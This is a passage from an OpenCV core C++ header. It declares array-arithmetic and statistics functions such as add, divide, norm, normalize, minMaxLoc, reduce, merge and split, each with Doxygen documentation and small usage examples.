\f[\texttt{scale} \cdot [ \texttt{vects} [0]- \texttt{mean} , \texttt{vects} [1]- \texttt{mean} ,...]^T \cdot [ \texttt{vects} [0]- \texttt{mean} , \texttt{vects} [1]- \texttt{mean} ,...],\f]
The covariance matrix will be nsamples x nsamples. Such an unusual covariance matrix is used
for fast PCA of a set of very large vectors (see, for example, the EigenFaces technique for
face recognition). Eigenvalues of this "scrambled" matrix match the eigenvalues of the true
covariance matrix. The "true" eigenvectors can be easily calculated from the eigenvectors of
the "scrambled" covariance matrix. */
COVAR_SCRAMBLED = 0,
/**The output covariance matrix is calculated as:
\f[\texttt{scale} \cdot [ \texttt{vects} [0]- \texttt{mean} , \texttt{vects} [1]- \texttt{mean} ,...] \cdot [ \texttt{vects} [0]- \texttt{mean} , \texttt{vects} [1]- \texttt{mean} ,...]^T,\f]
covar will be a square matrix of the same size as the total number of elements in each input
vector. One and only one of #COVAR_SCRAMBLED and #COVAR_NORMAL must be specified.*/
COVAR_NORMAL = 1,
/** If the flag is specified, the function does not calculate mean from
the input vectors but, instead, uses the passed mean vector. This is useful if mean has been
pre-calculated or known in advance, or if the covariance matrix is calculated by parts. In
this case, mean is not a mean vector of the input sub-set of vectors but rather the mean
vector of the whole set.*/
COVAR_USE_AVG = 2,
/** If the flag is specified, the covariance matrix is scaled. In the
"normal" mode, scale is 1./nsamples . In the "scrambled" mode, scale is the reciprocal of the
total number of elements in each input vector. By default (if the flag is not specified), the
covariance matrix is not scaled ( scale=1 ).*/
COVAR_SCALE = 4,
/** If the flag is
specified, all the input vectors are stored as rows of the samples matrix. mean should be a
single-row vector in this case.*/
COVAR_ROWS = 8,
/** If the flag is
specified, all the input vectors are stored as columns of the samples matrix. mean should be a
single-column vector in this case.*/
COVAR_COLS = 16
};
//! k-Means flags
enum KmeansFlags {
/** Select random initial centers in each attempt.*/
KMEANS_RANDOM_CENTERS = 0,
/** Use kmeans++ center initialization by Arthur and Vassilvitskii [Arthur2007].*/
KMEANS_PP_CENTERS = 2,
/** During the first (and possibly the only) attempt, use the
user-supplied labels instead of computing them from the initial centers. For the second and
further attempts, use the random or semi-random centers. Use one of KMEANS_\*_CENTERS flag
to specify the exact method.*/
KMEANS_USE_INITIAL_LABELS = 1
};
enum ReduceTypes { REDUCE_SUM = 0, //!< the output is the sum of all rows/columns of the matrix.
REDUCE_AVG = 1, //!< the output is the mean vector of all rows/columns of the matrix.
REDUCE_MAX = 2, //!< the output is the maximum (column/row-wise) of all rows/columns of the matrix.
REDUCE_MIN = 3 //!< the output is the minimum (column/row-wise) of all rows/columns of the matrix.
};
/** @brief Swaps two matrices
*/
CV_EXPORTS void swap(Mat& a, Mat& b);
/** @overload */
CV_EXPORTS void swap( UMat& a, UMat& b );
//! @} core
//! @addtogroup core_array
//! @{
/** @brief Computes the source location of an extrapolated pixel.
The function computes and returns the coordinate of a donor pixel corresponding to the specified
extrapolated pixel when using the specified extrapolation border mode. For example, if you use
cv::BORDER_WRAP mode in the horizontal direction, cv::BORDER_REFLECT_101 in the vertical direction and
want to compute value of the "virtual" pixel Point(-5, 100) in a floating-point image img , it
looks like:
@code{.cpp}
float val = img.at<float>(borderInterpolate(100, img.rows, cv::BORDER_REFLECT_101),
borderInterpolate(-5, img.cols, cv::BORDER_WRAP));
@endcode
Normally, the function is not called directly. It is used inside filtering functions and also in
copyMakeBorder.
@param p 0-based coordinate of the extrapolated pixel along one of the axes, likely \<0 or \>= len
@param len Length of the array along the corresponding axis.
@param borderType Border type, one of the #BorderTypes, except for #BORDER_TRANSPARENT and
#BORDER_ISOLATED . When borderType==#BORDER_CONSTANT , the function always returns -1, regardless
of p and len.
@sa copyMakeBorder
*/
CV_EXPORTS_W int borderInterpolate(int p, int len, int borderType);
/** @example samples/cpp/tutorial_code/ImgTrans/copyMakeBorder_demo.cpp
An example using copyMakeBorder function.
Check @ref tutorial_copyMakeBorder "the corresponding tutorial" for more details
*/
/** @brief Forms a border around an image.
The function copies the source image into the middle of the destination image. The areas to the
left, to the right, above and below the copied source image will be filled with extrapolated
pixels. This is not what filtering functions based on it do (they extrapolate pixels on-fly), but
what other more complex functions, including your own, may do to simplify image boundary handling.
The function supports the mode when src is already in the middle of dst . In this case, the
function does not copy src itself but simply constructs the border, for example:
@code{.cpp}
// let border be the same in all directions
int border=2;
// constructs a larger image to fit both the image and the border
Mat gray_buf(rgb.rows + border*2, rgb.cols + border*2, rgb.depth());
// select the middle part of it w/o copying data
Mat gray(gray_canvas, Rect(border, border, rgb.cols, rgb.rows));
// convert image from RGB to grayscale
cvtColor(rgb, gray, COLOR_RGB2GRAY);
// form a border in-place
copyMakeBorder(gray, gray_buf, border, border,
border, border, BORDER_REPLICATE);
// now do some custom filtering ...
...
@endcode
@note When the source image is a part (ROI) of a bigger image, the function will try to use the
pixels outside of the ROI to form a border. To disable this feature and always do extrapolation, as
if src was not a ROI, use borderType | #BORDER_ISOLATED.
@param src Source image.
@param dst Destination image of the same type as src and the size Size(src.cols+left+right,
src.rows+top+bottom) .
@param top the top pixels
@param bottom the bottom pixels
@param left the left pixels
@param right Parameter specifying how many pixels in each direction from the source image rectangle
to extrapolate. For example, top=1, bottom=1, left=1, right=1 mean that 1 pixel-wide border needs
to be built.
@param borderType Border type. See borderInterpolate for details.
@param value Border value if borderType==BORDER_CONSTANT .
@sa borderInterpolate
*/
CV_EXPORTS_W void copyMakeBorder(InputArray src, OutputArray dst,
int top, int bottom, int left, int right,
int borderType, const Scalar& value = Scalar() );
/** @brief Calculates the per-element sum of two arrays or an array and a scalar.
The function add calculates:
- Sum of two arrays when both input arrays have the same size and the same number of channels:
\f[\texttt{dst}(I) = \texttt{saturate} ( \texttt{src1}(I) + \texttt{src2}(I)) \quad \texttt{if mask}(I) \ne0\f]
- Sum of an array and a scalar when src2 is constructed from Scalar or has the same number of
elements as `src1.channels()`:
\f[\texttt{dst}(I) = \texttt{saturate} ( \texttt{src1}(I) + \texttt{src2} ) \quad \texttt{if mask}(I) \ne0\f]
- Sum of a scalar and an array when src1 is constructed from Scalar or has the same number of
elements as `src2.channels()`:
\f[\texttt{dst}(I) = \texttt{saturate} ( \texttt{src1} + \texttt{src2}(I) ) \quad \texttt{if mask}(I) \ne0\f]
where `I` is a multi-dimensional index of array elements. In case of multi-channel arrays, each
channel is processed independently.
The first function in the list above can be replaced with matrix expressions:
@code{.cpp}
dst = src1 + src2;
dst += src1; // equivalent to add(dst, src1, dst);
@endcode
The input arrays and the output array can all have the same or different depths. For example, you
can add a 16-bit unsigned array to a 8-bit signed array and store the sum as a 32-bit
floating-point array. Depth of the output array is determined by the dtype parameter. In the second
and third cases above, as well as in the first case, when src1.depth() == src2.depth(), dtype can
be set to the default -1. In this case, the output array will have the same depth as the input
array, be it src1, src2 or both.
@note Saturation is not applied when the output array has the depth CV_32S. You may even get
result of an incorrect sign in the case of overflow.
@param src1 first input array or a scalar.
@param src2 second input array or a scalar.
@param dst output array that has the same size and number of channels as the input array(s); the
depth is defined by dtype or src1/src2.
@param mask optional operation mask - 8-bit single channel array, that specifies elements of the
output array to be changed.
@param dtype optional depth of the output array (see the discussion below).
@sa subtract, addWeighted, scaleAdd, Mat::convertTo
*/
CV_EXPORTS_W void add(InputArray src1, InputArray src2, OutputArray dst,
InputArray mask = noArray(), int dtype = -1);
/** @brief Calculates the per-element difference between two arrays or array and a scalar.
The function subtract calculates:
- Difference between two arrays, when both input arrays have the same size and the same number of
channels:
\f[\texttt{dst}(I) = \texttt{saturate} ( \texttt{src1}(I) - \texttt{src2}(I)) \quad \texttt{if mask}(I) \ne0\f]
- Difference between an array and a scalar, when src2 is constructed from Scalar or has the same
number of elements as `src1.channels()`:
\f[\texttt{dst}(I) = \texttt{saturate} ( \texttt{src1}(I) - \texttt{src2} ) \quad \texttt{if mask}(I) \ne0\f]
- Difference between a scalar and an array, when src1 is constructed from Scalar or has the same
number of elements as `src2.channels()`:
\f[\texttt{dst}(I) = \texttt{saturate} ( \texttt{src1} - \texttt{src2}(I) ) \quad \texttt{if mask}(I) \ne0\f]
- The reverse difference between a scalar and an array in the case of `SubRS`:
\f[\texttt{dst}(I) = \texttt{saturate} ( \texttt{src2} - \texttt{src1}(I) ) \quad \texttt{if mask}(I) \ne0\f]
where I is a multi-dimensional index of array elements. In case of multi-channel arrays, each
channel is processed independently.
The first function in the list above can be replaced with matrix expressions:
@code{.cpp}
dst = src1 - src2;
dst -= src1; // equivalent to subtract(dst, src1, dst);
@endcode
The input arrays and the output array can all have the same or different depths. For example, you
can subtract to 8-bit unsigned arrays and store the difference in a 16-bit signed array. Depth of
the output array is determined by dtype parameter. In the second and third cases above, as well as
in the first case, when src1.depth() == src2.depth(), dtype can be set to the default -1. In this
case the output array will have the same depth as the input array, be it src1, src2 or both.
@note Saturation is not applied when the output array has the depth CV_32S. You may even get
result of an incorrect sign in the case of overflow.
@param src1 first input array or a scalar.
@param src2 second input array or a scalar.
@param dst output array of the same size and the same number of channels as the input array.
@param mask optional operation mask; this is an 8-bit single channel array that specifies elements
of the output array to be changed.
@param dtype optional depth of the output array
@sa add, addWeighted, scaleAdd, Mat::convertTo
*/
CV_EXPORTS_W void subtract(InputArray src1, InputArray src2, OutputArray dst,
InputArray mask = noArray(), int dtype = -1);
/** @brief Calculates the per-element scaled product of two arrays.
The function multiply calculates the per-element product of two arrays:
\f[\texttt{dst} (I)= \texttt{saturate} ( \texttt{scale} \cdot \texttt{src1} (I) \cdot \texttt{src2} (I))\f]
There is also a @ref MatrixExpressions -friendly variant of the first function. See Mat::mul .
For a not-per-element matrix product, see gemm .
@note Saturation is not applied when the output array has the depth
CV_32S. You may even get result of an incorrect sign in the case of
overflow.
@param src1 first input array.
@param src2 second input array of the same size and the same type as src1.
@param dst output array of the same size and type as src1.
@param scale optional scale factor.
@param dtype optional depth of the output array
@sa add, subtract, divide, scaleAdd, addWeighted, accumulate, accumulateProduct, accumulateSquare,
Mat::convertTo
*/
CV_EXPORTS_W void multiply(InputArray src1, InputArray src2,
OutputArray dst, double scale = 1, int dtype = -1);
/** @brief Performs per-element division of two arrays or a scalar by an array.
The function cv::divide divides one array by another:
\f[\texttt{dst(I) = saturate(src1(I)*scale/src2(I))}\f]
or a scalar by an array when there is no src1 :
\f[\texttt{dst(I) = saturate(scale/src2(I))}\f]
Different channels of multi-channel arrays are processed independently.
For integer types when src2(I) is zero, dst(I) will also be zero.
@note In case of floating point data there is no special defined behavior for zero src2(I) values.
Regular floating-point division is used.
Expect correct IEEE-754 behaviour for floating-point data (with NaN, Inf result values).
@note Saturation is not applied when the output array has the depth CV_32S. You may even get
result of an incorrect sign in the case of overflow.
@param src1 first input array.
@param src2 second input array of the same size and type as src1.
@param scale scalar factor.
@param dst output array of the same size and type as src2.
@param dtype optional depth of the output array; if -1, dst will have depth src2.depth(), but in
case of an array-by-array division, you can only pass -1 when src1.depth()==src2.depth().
@sa multiply, add, subtract
*/
CV_EXPORTS_W void divide(InputArray src1, InputArray src2, OutputArray dst,
double scale = 1, int dtype = -1);
/** @overload */
CV_EXPORTS_W void divide(double scale, InputArray src2,
OutputArray dst, int dtype = -1);
/** @brief Calculates the sum of a scaled array and another array.
The function scaleAdd is one of the classical primitive linear algebra operations, known as DAXPY
or SAXPY in [BLAS](http://en.wikipedia.org/wiki/Basic_Linear_Algebra_Subprograms). It calculates
the sum of a scaled array and another array:
\f[\texttt{dst} (I)= \texttt{scale} \cdot \texttt{src1} (I) + \texttt{src2} (I)\f]
The function can also be emulated with a matrix expression, for example:
@code{.cpp}
Mat A(3, 3, CV_64F);
...
A.row(0) = A.row(1)*2 + A.row(2);
@endcode
@param src1 first input array.
@param alpha scale factor for the first array.
@param src2 second input array of the same size and type as src1.
@param dst output array of the same size and type as src1.
@sa add, addWeighted, subtract, Mat::dot, Mat::convertTo
*/
CV_EXPORTS_W void scaleAdd(InputArray src1, double alpha, InputArray src2, OutputArray dst);
/** @example samples/cpp/tutorial_code/HighGUI/AddingImagesTrackbar.cpp
Check @ref tutorial_trackbar "the corresponding tutorial" for more details
*/
/** @brief Calculates the weighted sum of two arrays.
The function addWeighted calculates the weighted sum of two arrays as follows:
\f[\texttt{dst} (I)= \texttt{saturate} ( \texttt{src1} (I)* \texttt{alpha} + \texttt{src2} (I)* \texttt{beta} + \texttt{gamma} )\f]
where I is a multi-dimensional index of array elements. In case of multi-channel arrays, each
channel is processed independently.
The function can be replaced with a matrix expression:
@code{.cpp}
dst = src1*alpha + src2*beta + gamma;
@endcode
@note Saturation is not applied when the output array has the depth CV_32S. You may even get
result of an incorrect sign in the case of overflow.
@param src1 first input array.
@param alpha weight of the first array elements.
@param src2 second input array of the same size and channel number as src1.
@param beta weight of the second array elements.
@param gamma scalar added to each sum.
@param dst output array that has the same size and number of channels as the input arrays.
@param dtype optional depth of the output array; when both input arrays have the same depth, dtype
can be set to -1, which will be equivalent to src1.depth().
@sa add, subtract, scaleAdd, Mat::convertTo
*/
CV_EXPORTS_W void addWeighted(InputArray src1, double alpha, InputArray src2,
double beta, double gamma, OutputArray dst, int dtype = -1);
/** @brief Scales, calculates absolute values, and converts the result to 8-bit.
On each element of the input array, the function convertScaleAbs
performs three operations sequentially: scaling, taking an absolute
value, conversion to an unsigned 8-bit type:
\f[\texttt{dst} (I)= \texttt{saturate\_cast<uchar>} (| \texttt{src} (I)* \texttt{alpha} + \texttt{beta} |)\f]
In case of multi-channel arrays, the function processes each channel
independently. When the output is not 8-bit, the operation can be
emulated by calling the Mat::convertTo method (or by using matrix
expressions) and then by calculating an absolute value of the result.
For example:
@code{.cpp}
Mat_<float> A(30,30);
randu(A, Scalar(-100), Scalar(100));
Mat_<float> B = A*5 + 3;
B = abs(B);
// Mat_<float> B = abs(A*5+3) will also do the job,
// but it will allocate a temporary matrix
@endcode
@param src input array.
@param dst output array.
@param alpha optional scale factor.
@param beta optional delta added to the scaled values.
@sa Mat::convertTo, cv::abs(const Mat&)
*/
CV_EXPORTS_W void convertScaleAbs(InputArray src, OutputArray dst,
double alpha = 1, double beta = 0);
/** @brief Converts an array to half precision floating number.
This function converts FP32 (single precision floating point) from/to FP16 (half precision floating point). CV_16S format is used to represent FP16 data.
There are two use modes (src -> dst): CV_32F -> CV_16S and CV_16S -> CV_32F. The input array has to have type of CV_32F or
CV_16S to represent the bit depth. If the input array is neither of them, the function will raise an error.
The format of half precision floating point is defined in IEEE 754-2008.
@param src input array.
@param dst output array.
*/
CV_EXPORTS_W void convertFp16(InputArray src, OutputArray dst);
/** @brief Performs a look-up table transform of an array.
The function LUT fills the output array with values from the look-up table. Indices of the entries
are taken from the input array. That is, the function processes each element of src as follows:
\f[\texttt{dst} (I) \leftarrow \texttt{lut(src(I) + d)}\f]
where
\f[d = \fork{0}{if \(\texttt{src}\) has depth \(\texttt{CV_8U}\)}{128}{if \(\texttt{src}\) has depth \(\texttt{CV_8S}\)}\f]
@param src input array of 8-bit elements.
@param lut look-up table of 256 elements; in case of multi-channel input array, the table should
either have a single channel (in this case the same table is used for all channels) or the same
number of channels as in the input array.
@param dst output array of the same size and number of channels as src, and the same depth as lut.
@sa convertScaleAbs, Mat::convertTo
*/
CV_EXPORTS_W void LUT(InputArray src, InputArray lut, OutputArray dst);
/** @brief Calculates the sum of array elements.
The function cv::sum calculates and returns the sum of array elements,
independently for each channel.
@param src input array that must have from 1 to 4 channels.
@sa countNonZero, mean, meanStdDev, norm, minMaxLoc, reduce
*/
CV_EXPORTS_AS(sumElems) Scalar sum(InputArray src);
/** @brief Counts non-zero array elements.
The function returns the number of non-zero elements in src :
\f[\sum _{I: \; \texttt{src} (I) \ne0 } 1\f]
@param src single-channel array.
@sa mean, meanStdDev, norm, minMaxLoc, calcCovarMatrix
*/
CV_EXPORTS_W int countNonZero( InputArray src );
/** @brief Returns the list of locations of non-zero pixels
Given a binary matrix (likely returned from an operation such
as threshold(), compare(), >, ==, etc, return all of
the non-zero indices as a cv::Mat or std::vector<cv::Point> (x,y)
For example:
@code{.cpp}
cv::Mat binaryImage; // input, binary image
cv::Mat locations; // output, locations of non-zero pixels
cv::findNonZero(binaryImage, locations);
// access pixel coordinates
Point pnt = locations.at<Point>(i);
@endcode
or
@code{.cpp}
cv::Mat binaryImage; // input, binary image
vector<Point> locations; // output, locations of non-zero pixels
cv::findNonZero(binaryImage, locations);
// access pixel coordinates
Point pnt = locations[i];
@endcode
@param src single-channel array
@param idx the output array, type of cv::Mat or std::vector<Point>, corresponding to non-zero indices in the input
*/
CV_EXPORTS_W void findNonZero( InputArray src, OutputArray idx );
/** @brief Calculates an average (mean) of array elements.
The function cv::mean calculates the mean value M of array elements,
independently for each channel, and return it:
\f[\begin{array}{l} N = \sum _{I: \; \texttt{mask} (I) \ne 0} 1 \\ M_c = \left ( \sum _{I: \; \texttt{mask} (I) \ne 0}{ \texttt{mtx} (I)_c} \right )/N \end{array}\f]
When all the mask elements are 0's, the function returns Scalar::all(0)
@param src input array that should have from 1 to 4 channels so that the result can be stored in
Scalar_ .
@param mask optional operation mask.
@sa countNonZero, meanStdDev, norm, minMaxLoc
*/
CV_EXPORTS_W Scalar mean(InputArray src, InputArray mask = noArray());
/** Calculates a mean and standard deviation of array elements.
The function cv::meanStdDev calculates the mean and the standard deviation M
of array elements independently for each channel and returns it via the
output parameters:
\f[\begin{array}{l} N = \sum _{I, \texttt{mask} (I) \ne 0} 1 \\ \texttt{mean} _c = \frac{\sum_{ I: \; \texttt{mask}(I) \ne 0} \texttt{src} (I)_c}{N} \\ \texttt{stddev} _c = \sqrt{\frac{\sum_{ I: \; \texttt{mask}(I) \ne 0} \left ( \texttt{src} (I)_c - \texttt{mean} _c \right )^2}{N}} \end{array}\f]
When all the mask elements are 0's, the function returns
mean=stddev=Scalar::all(0).
@note The calculated standard deviation is only the diagonal of the
complete normalized covariance matrix. If the full matrix is needed, you
can reshape the multi-channel array M x N to the single-channel array
M\*N x mtx.channels() (only possible when the matrix is continuous) and
then pass the matrix to calcCovarMatrix .
@param src input array that should have from 1 to 4 channels so that the results can be stored in
Scalar_ 's.
@param mean output parameter: calculated mean value.
@param stddev output parameter: calculated standard deviation.
@param mask optional operation mask.
@sa countNonZero, mean, norm, minMaxLoc, calcCovarMatrix
*/
CV_EXPORTS_W void meanStdDev(InputArray src, OutputArray mean, OutputArray stddev,
InputArray mask=noArray());
/** @brief Calculates the absolute norm of an array.
This version of #norm calculates the absolute norm of src1. The type of norm to calculate is specified using #NormTypes.
As example for one array consider the function \f$r(x)= \begin{pmatrix} x \\ 1-x \end{pmatrix}, x \in [-1;1]\f$.
The \f$ L_{1}, L_{2} \f$ and \f$ L_{\infty} \f$ norm for the sample value \f$r(-1) = \begin{pmatrix} -1 \\ 2 \end{pmatrix}\f$
is calculated as follows
\f{align*}
\| r(-1) \|_{L_1} &= |-1| + |2| = 3 \\
\| r(-1) \|_{L_2} &= \sqrt{(-1)^{2} + (2)^{2}} = \sqrt{5} \\
\| r(-1) \|_{L_\infty} &= \max(|-1|,|2|) = 2
\f}
and for \f$r(0.5) = \begin{pmatrix} 0.5 \\ 0.5 \end{pmatrix}\f$ the calculation is
\f{align*}
\| r(0.5) \|_{L_1} &= |0.5| + |0.5| = 1 \\
\| r(0.5) \|_{L_2} &= \sqrt{(0.5)^{2} + (0.5)^{2}} = \sqrt{0.5} \\
\| r(0.5) \|_{L_\infty} &= \max(|0.5|,|0.5|) = 0.5.
\f}
The following graphic shows all values for the three norm functions \f$\| r(x) \|_{L_1}, \| r(x) \|_{L_2}\f$ and \f$\| r(x) \|_{L_\infty}\f$.
It is notable that the \f$ L_{1} \f$ norm forms the upper and the \f$ L_{\infty} \f$ norm forms the lower border for the example function \f$ r(x) \f$.
When the mask parameter is specified and it is not empty, the norm is
If normType is not specified, #NORM_L2 is used.
calculated only over the region specified by the mask.
Multi-channel input arrays are treated as single-channel arrays, that is,
the results for all channels are combined.
Hamming norms can only be calculated with CV_8U depth arrays.
@param src1 first input array.
@param normType type of the norm (see #NormTypes).
@param mask optional operation mask; it must have the same size as src1 and CV_8UC1 type.
*/
CV_EXPORTS_W double norm(InputArray src1, int normType = NORM_L2, InputArray mask = noArray());
/** @brief Calculates an absolute difference norm or a relative difference norm.
This version of cv::norm calculates the absolute difference norm
or the relative difference norm of arrays src1 and src2.
The type of norm to calculate is specified using #NormTypes.
@param src1 first input array.
@param src2 second input array of the same size and the same type as src1.
@param normType type of the norm (see #NormTypes).
@param mask optional operation mask; it must have the same size as src1 and CV_8UC1 type.
*/
CV_EXPORTS_W double norm(InputArray src1, InputArray src2,
int normType = NORM_L2, InputArray mask = noArray());
/** @overload
@param src first input array.
@param normType type of the norm (see #NormTypes).
*/
CV_EXPORTS double norm( const SparseMat& src, int normType );
/** @brief Computes the Peak Signal-to-Noise Ratio (PSNR) image quality metric.
This function calculates the Peak Signal-to-Noise Ratio (PSNR) image quality metric in decibels (dB),
between two input arrays src1 and src2. The arrays must have the same type.
The PSNR is calculated as follows:
\f[
\texttt{PSNR} = 10 \cdot \log_{10}{\left( \frac{R^2}{MSE} \right) }
\f]
where R is the maximum integer value of depth (e.g. 255 in the case of CV_8U data)
and MSE is the mean squared error between the two arrays.
@param src1 first input array.
@param src2 second input array of the same size as src1.
@param R the maximum pixel value (255 by default)
*/
CV_EXPORTS_W double PSNR(InputArray src1, InputArray src2, double R=255.);
/** @brief naive nearest neighbor finder
see http://en.wikipedia.org/wiki/Nearest_neighbor_search
@todo document
*/
CV_EXPORTS_W void batchDistance(InputArray src1, InputArray src2,
OutputArray dist, int dtype, OutputArray nidx,
int normType = NORM_L2, int K = 0,
InputArray mask = noArray(), int update = 0,
bool crosscheck = false);
/** @brief Normalizes the norm or value range of an array.
The function cv::normalize normalizes scale and shift the input array elements so that
\f[\| \texttt{dst} \| _{L_p}= \texttt{alpha}\f]
(where p=Inf, 1 or 2) when normType=NORM_INF, NORM_L1, or NORM_L2, respectively; or so that
\f[\min _I \texttt{dst} (I)= \texttt{alpha} , \, \, \max _I \texttt{dst} (I)= \texttt{beta}\f]
when normType=NORM_MINMAX (for dense arrays only). The optional mask specifies a sub-array to be
normalized. This means that the norm or min-n-max are calculated over the sub-array, and then this
sub-array is modified to be normalized. If you want to only use the mask to calculate the norm or
min-max but modify the whole array, you can use norm and Mat::convertTo.
In case of sparse matrices, only the non-zero values are analyzed and transformed. Because of this,
the range transformation for sparse matrices is not allowed since it can shift the zero level.
Possible usage with some positive example data:
@code{.cpp}
vector<double> positiveData = { 2.0, 8.0, 10.0 };
vector<double> normalizedData_l1, normalizedData_l2, normalizedData_inf, normalizedData_minmax;
// Norm to probability (total count)
// sum(numbers) = 20.0
// 2.0 0.1 (2.0/20.0)
// 8.0 0.4 (8.0/20.0)
// 10.0 0.5 (10.0/20.0)
normalize(positiveData, normalizedData_l1, 1.0, 0.0, NORM_L1);
// Norm to unit vector: ||positiveData|| = 1.0
// 2.0 0.15
// 8.0 0.62
// 10.0 0.77
normalize(positiveData, normalizedData_l2, 1.0, 0.0, NORM_L2);
// Norm to max element
// 2.0 0.2 (2.0/10.0)
// 8.0 0.8 (8.0/10.0)
// 10.0 1.0 (10.0/10.0)
normalize(positiveData, normalizedData_inf, 1.0, 0.0, NORM_INF);
// Norm to range [0.0;1.0]
// 2.0 0.0 (shift to left border)
// 8.0 0.75 (6.0/8.0)
// 10.0 1.0 (shift to right border)
normalize(positiveData, normalizedData_minmax, 1.0, 0.0, NORM_MINMAX);
@endcode
@param src input array.
@param dst output array of the same size as src .
@param alpha norm value to normalize to or the lower range boundary in case of the range
normalization.
@param beta upper range boundary in case of the range normalization; it is not used for the norm
normalization.
@param norm_type normalization type (see cv::NormTypes).
@param dtype when negative, the output array has the same type as src; otherwise, it has the same
number of channels as src and the depth =CV_MAT_DEPTH(dtype).
@param mask optional operation mask.
@sa norm, Mat::convertTo, SparseMat::convertTo
*/
CV_EXPORTS_W void normalize( InputArray src, InputOutputArray dst, double alpha = 1, double beta = 0,
int norm_type = NORM_L2, int dtype = -1, InputArray mask = noArray());
/** @overload
@param src input array.
@param dst output array of the same size as src .
@param alpha norm value to normalize to or the lower range boundary in case of the range
normalization.
@param normType normalization type (see cv::NormTypes).
*/
CV_EXPORTS void normalize( const SparseMat& src, SparseMat& dst, double alpha, int normType );
/** @brief Finds the global minimum and maximum in an array.
The function cv::minMaxLoc finds the minimum and maximum element values and their positions. The
extremums are searched across the whole array or, if mask is not an empty array, in the specified
array region.
The function do not work with multi-channel arrays. If you need to find minimum or maximum
elements across all the channels, use Mat::reshape first to reinterpret the array as
single-channel. Or you may extract the particular channel using either extractImageCOI , or
mixChannels , or split .
@param src input single-channel array.
@param minVal pointer to the returned minimum value; NULL is used if not required.
@param maxVal pointer to the returned maximum value; NULL is used if not required.
@param minLoc pointer to the returned minimum location (in 2D case); NULL is used if not required.
@param maxLoc pointer to the returned maximum location (in 2D case); NULL is used if not required.
@param mask optional mask used to select a sub-array.
@sa max, min, compare, inRange, extractImageCOI, mixChannels, split, Mat::reshape
*/
CV_EXPORTS_W void minMaxLoc(InputArray src, CV_OUT double* minVal,
CV_OUT double* maxVal = 0, CV_OUT Point* minLoc = 0,
CV_OUT Point* maxLoc = 0, InputArray mask = noArray());
/** @brief Finds the global minimum and maximum in an array
The function cv::minMaxIdx finds the minimum and maximum element values and their positions. The
extremums are searched across the whole array or, if mask is not an empty array, in the specified
array region. The function does not work with multi-channel arrays. If you need to find minimum or
maximum elements across all the channels, use Mat::reshape first to reinterpret the array as
single-channel. Or you may extract the particular channel using either extractImageCOI , or
mixChannels , or split . In case of a sparse matrix, the minimum is found among non-zero elements
only.
@note When minIdx is not NULL, it must have at least 2 elements (as well as maxIdx), even if src is
a single-row or single-column matrix. In OpenCV (following MATLAB) each array has at least 2
dimensions, i.e. single-column matrix is Mx1 matrix (and therefore minIdx/maxIdx will be
(i1,0)/(i2,0)) and single-row matrix is 1xN matrix (and therefore minIdx/maxIdx will be
(0,j1)/(0,j2)).
@param src input single-channel array.
@param minVal pointer to the returned minimum value; NULL is used if not required.
@param maxVal pointer to the returned maximum value; NULL is used if not required.
@param minIdx pointer to the returned minimum location (in nD case); NULL is used if not required;
Otherwise, it must point to an array of src.dims elements, the coordinates of the minimum element
in each dimension are stored there sequentially.
@param maxIdx pointer to the returned maximum location (in nD case). NULL is used if not required.
@param mask specified array region
*/
CV_EXPORTS void minMaxIdx(InputArray src, double* minVal, double* maxVal = 0,
int* minIdx = 0, int* maxIdx = 0, InputArray mask = noArray());
/** @overload
@param a input single-channel array.
@param minVal pointer to the returned minimum value; NULL is used if not required.
@param maxVal pointer to the returned maximum value; NULL is used if not required.
@param minIdx pointer to the returned minimum location (in nD case); NULL is used if not required;
Otherwise, it must point to an array of src.dims elements, the coordinates of the minimum element
in each dimension are stored there sequentially.
@param maxIdx pointer to the returned maximum location (in nD case). NULL is used if not required.
*/
CV_EXPORTS void minMaxLoc(const SparseMat& a, double* minVal,
double* maxVal, int* minIdx = 0, int* maxIdx = 0);
/** @brief Reduces a matrix to a vector.
The function #reduce reduces the matrix to a vector by treating the matrix rows/columns as a set of
1D vectors and performing the specified operation on the vectors until a single row/column is
obtained. For example, the function can be used to compute horizontal and vertical projections of a
raster image. In case of #REDUCE_MAX and #REDUCE_MIN , the output image should have the same type as the source one.
In case of #REDUCE_SUM and #REDUCE_AVG , the output may have a larger element bit-depth to preserve accuracy.
And multi-channel arrays are also supported in these two reduction modes.
The following code demonstrates its usage for a single channel matrix.
@snippet snippets/core_reduce.cpp example
And the following code demonstrates its usage for a two-channel matrix.
@snippet snippets/core_reduce.cpp example2
@param src input 2D matrix.
@param dst output vector. Its size and type is defined by dim and dtype parameters.
@param dim dimension index along which the matrix is reduced. 0 means that the matrix is reduced to
a single row. 1 means that the matrix is reduced to a single column.
@param rtype reduction operation that could be one of #ReduceTypes
@param dtype when negative, the output vector will have the same type as the input matrix,
otherwise, its type will be CV_MAKE_TYPE(CV_MAT_DEPTH(dtype), src.channels()).
@sa repeat
*/
CV_EXPORTS_W void reduce(InputArray src, OutputArray dst, int dim, int rtype, int dtype = -1);
/** @brief Creates one multi-channel array out of several single-channel ones.
The function cv::merge merges several arrays to make a single multi-channel array. That is, each
element of the output array will be a concatenation of the elements of the input arrays, where
elements of i-th input array are treated as mv[i].channels()-element vectors.
The function cv::split does the reverse operation. If you need to shuffle channels in some other
advanced way, use cv::mixChannels.
The following example shows how to merge 3 single channel matrices into a single 3-channel matrix.
@snippet snippets/core_merge.cpp example
@param mv input array of matrices to be merged; all the matrices in mv must have the same
size and the same depth.
@param count number of input matrices when mv is a plain C array; it must be greater than zero.
@param dst output array of the same size and the same depth as mv[0]; The number of channels will
be equal to the parameter count.
@sa mixChannels, split, Mat::reshape
*/
CV_EXPORTS void merge(const Mat* mv, size_t count, OutputArray dst);
/** @overload
@param mv input vector of matrices to be merged; all the matrices in mv must have the same
size and the same depth.
@param dst output array of the same size and the same depth as mv[0]; The number of channels will
be the total number of channels in the matrix array.
*/
CV_EXPORTS_W void merge(InputArrayOfArrays mv, OutputArray dst);
/** @brief Divides a multi-channel array into several single-channel arrays.
The function cv::split splits a multi-channel array into separate single-channel arrays:
\f[\texttt{mv} [c](I) = \texttt{src} (I)_c\f]
If you need to extract a single channel or do some other sophisticated channel permutation, use
mixChannels .
The following example demonstrates how to split a 3-channel matrix into 3 single channel matrices.
@snippet snippets/core_split.cpp example
@param src input multi-channel array.
@param mvbegin output array; the number of arrays must match src.channels(); the arrays themselves are
reallocated, if needed.
@sa merge, mixChannels, cvtColor
*/
CV_EXPORTS void split(const Mat& src, Mat* mvbegin);
/** @overload
@param m input multi-channel array.
@param mv output vector of arrays; the arrays themselves are reallocated, if needed.
*/
